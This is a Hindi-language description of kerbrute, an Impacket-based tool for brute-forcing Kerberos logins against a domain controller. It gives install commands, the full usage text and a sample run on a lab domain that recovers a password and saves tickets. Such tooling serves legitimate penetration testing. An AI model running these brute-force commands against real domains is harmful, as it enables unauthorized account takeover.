
इम्पैक्ट का उपयोग करके केरबेरोस ब्रूटफोर्सिंग करने के लिए एक स्क्रिप्ट
केरबरोस ब्रूटफोर्सिंग करने के लिए एक स्क्रिप्ट जो इम्पैक्ट लाइब्रेरी का उपयोग करती है।
जब इसे निष्पादित किया जाता है, तो यह इनपुट के रूप में एक उपयोगकर्ता या उपयोगकर्ताओं की सूची और एक पासवर्ड या पासवर्ड की सूची प्राप्त करता है। फिर यह निम्नलिखित की गणना करने के लिए एक ब्रूट-फोर्स हमला करता है:
परिणामस्वरूप, स्क्रिप्ट खोजे गए मान्य क्रेडेंशियल्स की एक सूची और उन मान्य क्रेडेंशियल्स के कारण उत्पन्न TGTs उत्पन्न करती है।
pypi से:
pip3 install kerbrute
रिपॉजिटरी से:
git clone https://github.com/TarlogicSecurity/kerbrute
cd kerbrute
pip install -r requirements.txt
बिना तर्कों के सहायता:
root@kali:~# kerbrute
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation
usage: kerbrute.py [-h] [-debug] (-user USER | -users USERS)
[-password PASSWORD | -passwords PASSWORDS] -domain DOMAIN
[-dc-ip <ip_address>] [-threads THREADS]
[-outputfile OUTPUTFILE] [-no-save-ticket]
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-user USER User to perform bruteforcing
-users USERS File with user per line
-password PASSWORD Password to perform bruteforcing
-passwords PASSWORDS File with password per line
-domain DOMAIN Domain to perform bruteforcing
-dc-ip <ip_address> IP Address of the domain controller
-threads THREADS Number of threads to perform bruteforcing. Default = 1
-outputfile OUTPUTFILE
File to save discovered user:password
-no-save-ticket Do not save retrieved TGTs with correct credentials
Examples:
./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com
निष्पादन का उदाहरण:
root@kali:~# kerbrute -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation
[*] Stupendous => triceratops:Sh4rpH0rns
[*] Saved TGT in triceratops.ccache
[*] Valid user => velociraptor [NOT PREAUTH]
[*] Valid user => trex
[*] Saved discovered passwords in jurassic_passwords.txt